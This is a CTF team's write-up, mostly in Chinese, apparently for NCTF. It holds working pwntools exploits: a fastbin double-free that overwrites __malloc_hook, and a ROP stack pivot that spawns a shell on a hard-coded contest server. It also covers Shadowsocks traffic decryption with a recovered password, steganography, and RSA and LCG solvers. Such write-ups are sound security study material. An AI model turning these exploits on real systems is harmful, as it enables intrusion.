mprotect = libc+ lib.symbols['mprotect']
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
pop_rdx_ret = libc + lib.search(asm("pop rdx\nret")).next()
payload = 'a' * 0x18 + p64(canary) + 'a' * 8
payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x500) + p64(gets)
payload += p64(pop_rdx_ret) + p64(7) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdi_ret) + p64((elf.bss() >> 12) << 12) + p64(mprotect)
payload += p64(elf.bss() + 0x500)
sh.sendlineafter("!!!",'a')
sh.sendline(payload)
payload = ''
payload += shellcraft.open("flag")
payload += shellcraft.read(3,elf.bss()+0x100,0x30)
payload += shellcraft.write(1,elf.bss()+0x100,0x30)
sh.sendline(asm(payload))
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50007,0)
easy_heap | SOLVED | Qfrost
典型的fastbin attack题目,一开始程序叫你输入一句话,可以输入伪造的size为,我们可以使用double free实现fastbin attack把chunk申请到伪造的size这里,由于chunk可以达到0x48的大小,所以可以修改chunk_max_size实现malloc无大小限制,同时修改到第一个chunk_ptr为got,然后show一下就可以知道libc_base了,然后再一次double free+fastbin attack打__malloc_hook,将其覆盖为one_gadget,然后malloc一下就可以拿到shell了。
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easy_heap")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./easy_heap")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
sh.sendlineafter("4.","1")
sh.sendlineafter("?",str(size))
sh.sendafter("?",content)
def free(idx):
sh.sendlineafter("4.","2")
sh.sendlineafter("?",str(idx))
def show(idx):
sh.sendlineafter("4.","3")
sh.sendlineafter("?",str(idx))
chunk_list = 0x602080
chunk_size = 0x602078
sh.sendafter("?",p64(0x50) * 2)
add(0x48,'\x11' * 0x48)
add(0x48,'\x12' * 0x48)
free(0)
free(1)
free(0)
add(0x48,p64(0x602060))
add(0x48,p64(0x602060))
add(0x48,p64(0x602060))
payload = 'a' * 8 + p64(0x6666) + p64(elf.got['__libc_start_main'])
add(0x48,payload)
show(0)
__libc_start_main = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
add(0x68,'\x13' * 0x68)
add(0x68,'\x14' * 0x68)
free(6)
free(7)
free(6)
add(0x68,p64(__malloc_hook - 0x23))
add(0x68,p64(__malloc_hook - 0x23))
add(0x68,p64(__malloc_hook - 0x23))
payload = '\x00' * 3
payload += p64(0) * 2
payload += p64(libc+one_gadget[3])
add(0x68,payload)
sh.sendlineafter("4.","1")
sh.sendlineafter("?","666")
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50001,0)
easy_rop | SOLVED | Qfrost
利用%d的非正规字符绕过canary,然后顺便读取canary和pie,然后在栈里发现vulnerable_function的指针,然后通过pop,让ret_addr指向该指针,再一次进入vulnerable_function,然后设置好rbp为new_stack,ret_addr为leave_ret即可栈迁移,栈迁移之后先libc leak,然后利用万能gadget调用read再一次更新new_stack的数据,将ret_addr指向system("/bin/sh\x00")就可以拿到shell了,中间少了负数的处理。所以要多打几次才能拿shell。
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("easy_rop")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./easy_rop")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
for i in range(26):
sh.sendlineafter(":",str(0))
sh.sendlineafter(":","--")
sh.recvuntil("number 26 = ")
canary = int(sh.recvuntil("\nnumber 27:",True),10)
sh.recvuntil("number 27 = ")
canary_head = int(sh.recvuntil("\nnumber 28",True),10)
canary = canary + (canary_head<<32)
sh.sendlineafter(":","--")
sh.recvuntil("number 28 = ")
pie = int(sh.recvuntil("\nnumber 29:",True),10)
sh.recvuntil("number 29 = ")
pie = (int(sh.recvuntil("\nnumber 30",True),10) << 32) + pie
pie -= 0xb40
pop_rbp_ret = pie + 0x900
leave_ret = pie + 0xb31
pop3_ret = pie + 0xb9f
new_stack = pie + 0x201420 - 8
pop_rdi_ret = pie + 0xba3
pop_rsi_r15_ret = pie + 0xba1
pop6_ret = 0xB9A + pie
call_gadget = 0xB80 + pie
def send(num):
if(num % 0x100000000 > 0x7fffffff):
sh.sendlineafter(":",str((-1 * num) % 0x100000000))
else:
sh.sendlineafter(":",str(num % 0x100000000))
sh.sendlineafter(":",str(num>>32))
send(pop3_ret)
send(new_stack)
payload = "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
payload += "I love Ylg!!!"
sh.sendlineafter("?",payload)
for i in range(28):
sh.sendlineafter(":",'-')
send(new_stack)
send(leave_ret)
sh.sendlineafter(":","--")
payload = p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'] + pie)
payload += p64(elf.plt['puts'] + pie)
payload += p64(pop6_ret)
payload += p64(0) + p64(1) + p64(pie + elf.got['read']) + p64(0x666) + p64(new_stack + 8) + p64(0)
payload += p64(call_gadget)
sh.sendlineafter("?",payload)
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
payload = 'a' * 80
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
sleep(0.2)
sh.sendline(payload)
sh.interactive()
if __name__ == "__main__":
pwn("139.129.76.65",50002,0)
Misc:
题目名称 | 题目状态 | working : xxx
Advertising for Marriage | OPEN | working : Lamber
a_good_idea | OPEN | working : 啦啦啦** 辛得洛**** benjamin**
键盘侠|open|working:Iceman zip伪加密** 星辰**** 啦啦啦**** 晚风**
下载是一个压缩包,伪加密,里面是一张图片
binwalk -e 后分离出压缩包C4E2.zip,后缀名改为doc后打开这个word文档,里面是一行字
PD4idqQC|WjHloX>)UPb8ZFb8laGczAeteE
python3 base64模块进行base85解密就完事了
a_good_idea |SOLVED| working:星辰** yimingy72**
binwalk -e 分离to_do.png do.png
Beyond Compare 导入两张图片容差比较
扫码得flag
小狗的秘密 |SOLVED| fjh1997
还是流量分析题,提取流量得到一个神秘文件1.html
一看就是rgb编码,由于有50000行所以盲猜图像大小是500X100
去掉括号然后使用脚本解决得到一张图像就是flag
#-*- coding:utf-8 -*-
from PIL import Image
import re
x = 500 #x坐标 通过对html里的行数进行整数分解
y = 100 #y坐标 x*y = 行数
im = Image.new("RGB",(x,y))#创建图片
file = open('1.html') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = re.split(",|\(|\)",line)#分离rgb
rgb = filter(None, rgb)#过滤空格
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
Become a Rockstar |SOLVED| fjh1997
关键在于这几句话
Ron Rivest says nice
Adi Shamir says rock
Leonard Adleman says star
Put Ron Rivest with Adi Shamir with Leonard Adleman into RSA
Bob says ar
Alice says you
Problem Makers says NCTF{
Put Problem Makers with Alice into Problem Makers with Bob
看懂这几句英文你应该想到flag了
NCTF{ar_you_nice_rock_star}
What's this** |SOLVED| fjh1997**
首先使用wireshark对流量进行提取,得到一个upload.php文件,然后分析发现里面含有zip解压得到What1s7his.txt
l
发现是分组的base64 那么想到base64隐写,使用脚本即可解决
# -*- coding: utf-8 -*-
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('What1s7his.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组
NCTF{dbb2ef54afc2877ed9973780606a3c8b}
2077 |SOLVED| fjh1997
视频流里面包含了base64,很容易,只要平均2分钟一帧按这个进度截取视频画面进行ocr,得到base64文件,之后解析出一张图片,对图片进行sha256即可。
NCTF{90b0443265e51869ff6c645b3104dd9df085db89266bf2290c9d24c76d458590}
内鬼 |SOLVED|L1ngFeng fjh1997
分析流量,找到config.json-为shadow和谐socks配置文件
读取获得ip、password、端口、加密方式aes-256-cfb
返回去 继续看流量,导出目的ip如上的tcp流的数据
逐个分析(80多个 分析了一下午md)
由于客户端和服务端发送包都经过了加密,不能整个导出进行解密,需分开解密
分析发现发送的含有flag.txt的tcp流经解密后如下
以下是请求flag.txt后返回的TCP流,单独导出原始数据使用shadow和谐socks源码中的解密脚本进行解密
解密结果如下:
附:解密脚本(先下载shadow和谐socks源码)
#!/usr/bin/env python
#
# Copyright 2012-2015 clowwindy
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# [http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from __future__ import absolute_import, division, print_function, \
with_statement
import os
import sys
import hashlib
import logging
import binascii
from shadow和谐socks import common
from shadow和谐socks.crypto import rc4_md5, openssl, sodium, table
method_supported = {}
method_supported.update(rc4_md5.ciphers)
method_supported.update(openssl.ciphers)
method_supported.update(sodium.ciphers)
method_supported.update(table.ciphers)
def random_string(length):
return os.urandom(length)
cached_keys = {}
def try_cipher(key, method=None):
Encryptor(key, method)
def EVP_BytesToKey(password, key_len, iv_len):
# equivalent to OpenSSL's EVP_BytesToKey() with count 1
# so that we make the same key and iv as nodejs version
cached_key = '%s-%d-%d' % (password, key_len, iv_len)
r = cached_keys.get(cached_key, None)
if r:
return r
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
cached_keys[cached_key] = (key, iv)
return key, iv
class Encryptor(object):
def __init__(self, key, method):
self.key = key
self.method = method
self.iv = None
self.iv_sent = False
self.cipher_iv = b''
self.decipher = None
method = method.lower()
self._method_info = self.get_method_info(method)
if self._method_info:
self.cipher = self.get_cipher(key, method, 1,
random_string(self._method_info[1]))
else:
logging.error('method %s not supported' % method)
sys.exit(1)
def get_method_info(self, method):
method = method.lower()
m = method_supported.get(method)
return m
def iv_len(self):
return len(self.cipher_iv)
def get_cipher(self, password, method, op, iv):
password = common.to_bytes(password)
m = self._method_info
if m[0] > 0:
key, iv_ = EVP_BytesToKey(password, m[0], m[1])
else:
# key_length == 0 indicates we should use the key directly
key, iv = password, b''
iv = iv[:m[1]]
if op == 1:
# this iv is for cipher not decipher
self.cipher_iv = iv[:m[1]]
return m[2](method, key, iv, op)
def encrypt(self, buf):
if len(buf) == 0:
return buf
if self.iv_sent:
return self.cipher.update(buf)
else:
self.iv_sent = True
return self.cipher_iv + self.cipher.update(buf)
def decrypt(self, buf):
if len(buf) == 0:
return buf
if self.decipher is None:
decipher_iv_len = self._method_info[1]
decipher_iv = buf[:decipher_iv_len]
self.decipher = self.get_cipher(self.key, self.method, 0,
iv=decipher_iv)
buf = buf[decipher_iv_len:]
if len(buf) == 0:
return buf
return self.decipher.update(buf)
def encrypt_all(password, method, op, data):
result = []
method = method.lower()
(key_len, iv_len, m) = method_supported[method]
if key_len > 0:
key, _ = EVP_BytesToKey(password, key_len, iv_len)
else:
key = password
if op:
iv = random_string(iv_len)
result.append(iv)
else:
iv = data[:iv_len]
data = data[iv_len:]
cipher = m(method, key, iv, op)
result.append(cipher.update(data))
return b''.join(result)
CIPHERS_TO_TEST = [
'aes-128-cfb',
'aes-256-cfb',
'rc4-md5',
'salsa20',
'chacha20',
'table',
]
def test_encryptor():
from os import urandom
plain = urandom(10240)
for method in CIPHERS_TO_TEST:
logging.warn(method)
encryptor = Encryptor(b'key', method)
decryptor = Encryptor(b'key', method)
cipher = encryptor.encrypt(plain)
plain2 = decryptor.decrypt(cipher)
assert plain == plain2
def test_encrypt_all():
from os import urandom
plain = urandom(10240)
for method in CIPHERS_TO_TEST:
logging.warn(method)
cipher = encrypt_all(b'key', method, 1, plain)
plain2 = encrypt_all(b'key', method, 0, cipher)
assert plain == plain2
if __name__ == '__main__':
f=open('data.bin', 'rb')
e = Encryptor('5e77b05530b30283e24c120d8cc13fb5', 'aes-256-cfb')
p = open('decrypt1.bin', 'wb')
p.write(e.decrypt(f.read()))
Bright Body I| SOLVED | L1ngFeng
打开游戏难的一比,虚幻做的,直接看pak
Bright Body I\Bright Body I\Magic\Content\Paks\Magic-WindowsNoEditor.pak
010editor分析
pip install** | SOLVED | **working:L1ngFeng yimingy72
直接打开py文件,base64解码
Crypto:
题目名称 | 题目状态 | working : xxx
Keyboard**| SOLVED | L1ngFeng**
ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee
都是键盘上同一行的字母,打开手机,九键英文输入,O对应9,九键中9对应的是WXYZ,又有3个O,故对应WXYZ的第三个Y,以此类推,得到有意义的字符串提交即可
flag:NCTF{youaresosmartthatthisisjustapieceofcake}
childRSA|SOLVED| fjh1997
import gmpy2
from Crypto.Util.number import *
e = 0x10001
c = 26308018356739853895382240109968894175166731283702927002165268998773708335216338997058314157717147131083296551313334042509806229853341488461087009955203854253313827608275460592785607739091992591431080342664081962030557042784864074533380701014585315663218783130162376176094773010478159362434331787279303302718098735574605469803801873109982473258207444342330633191849040553550708886593340770753064322410889048135425025715982196600650740987076486540674090923181664281515197679745907830107684777248532278645343716263686014941081417914622724906314960249945105011301731247324601620886782967217339340393853616450077105125391982689986178342417223392217085276465471102737594719932347242482670320801063191869471318313514407997326350065187904154229557706351355052446027159972546737213451422978211055778164578782156428466626894026103053360431281644645515155471301826844754338802352846095293421718249819728205538534652212984831283642472071669494851823123552827380737798609829706225744376667082534026874483482483127491533474306552210039386256062116345785870668331513725792053302188276682550672663353937781055621860101624242216671635824311412793495965628876036344731733142759495348248970313655381407241457118743532311394697763283681852908564387282605279108
p=178449493212694205742332078583256205058672290603652616240227340638730811945224947826121772642204629335108873832781921390308501763661154638696935732709724016546955977529088135995838497476350749621442719690722226913635772410880516639651363626821442456779009699333452616953193799328647446968707045304702547915799734431818800374360377292309248361548868909066895474518333089446581763425755389837072166970684877011663234978631869703859541876049132713490090720408351108387971577438951727337962368478059295446047962510687695047494480605473377173021467764495541590394732685140829152761532035790187269724703444386838656193674253139
q=184084121540115307597161367011014142898823526027674354555037785878481711602257307508985022577801782788769786800015984410443717799994642236194840684557538917849420967360121509675348296203886340264385224150964642958965438801864306187503790100281099130863977710204660546799128755418521327290719635075221585824217487386227004673527292281536221958961760681032293340099395863194031788435142296085219594866635192464353365034089592414809332183882423461536123972873871477755949082223830049594561329457349537703926325152949582123419049073013144325689632055433283354999265193117288252918515308767016885678802217366700376654365502867
n = p * q
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c, d, n)
print (long_to_bytes(m))
LCG | 题目状态 | working : 蓝小俊
第一关参考题目给的脚本填一下参数就跑出来了
prefix = bytes.fromhex('6716f66363f564')
digest = '2b1fbc931a4c5511e61930ad45f143e390e33f3940c48c8a52ad858d2fde50a2'
for i in range(256**3):
guess = prefix + i.to_bytes(3, 'big')
if hashlib.sha256(guess).hexdigest() == digest:
print('Find: ' + guess.hex())
break
else:
print('Not found...')
第二关
#!/usr/bin/env python
import gmpy2
N = 67993323804407064177247162460772412626968255266294034382186104311679116732213
a = 32980334202452380083177264432788392218659697312745998652814302021626124358576
b = 291723828110525599080496775946229222025480472921444839406930719484144872950
next= 35102740770513164750734045341185155631583444302033604257667814839108576495642
state=gmpy2.divm(next-b,a,N)
while (a * state + b) % N != next :
state+=N
print state
第三关
#!/usr/bin/env python
import gmpy2
N = 110932203541614602954392727472481426823668549367798890286479041080599293524531
a = 23247241127835778636185744365892878840508571577682824791249393684693677565802
next1= 72183429070250345711008949471990129744946451871959965405769800994042316470352
next2= 86168675403540550169006869846531205308150711328613464762252678728197384414203
b=(next2-next1*a)%N
while b<0:
b+=N
state=gmpy2.divm(next1-b,a,N)
while (a * state + b) % N != next1 :
state+=N
print state
第四关
#!/usr/bin/env python
import gmpy2
N = 83248790590795738138703763435587407105130091477545657154829027352838745275253
next1= 48118039886174921507104937769291995608559674281314797824300933248752636783887
next2= 66582640320247863067079518640620469681663326527479276238320293387462733066750
next3= 51427253600979194137526322613518368914966051532353403403302906902599764520600
a=gmpy2.divm(next3-next2,next2-next1,N)
b=(next2-next1*a)%N
while b<0:
b+=N
state=gmpy2.divm(next1-b,a,N)
while (a * state + b) % N != next1 :
state+=N
print state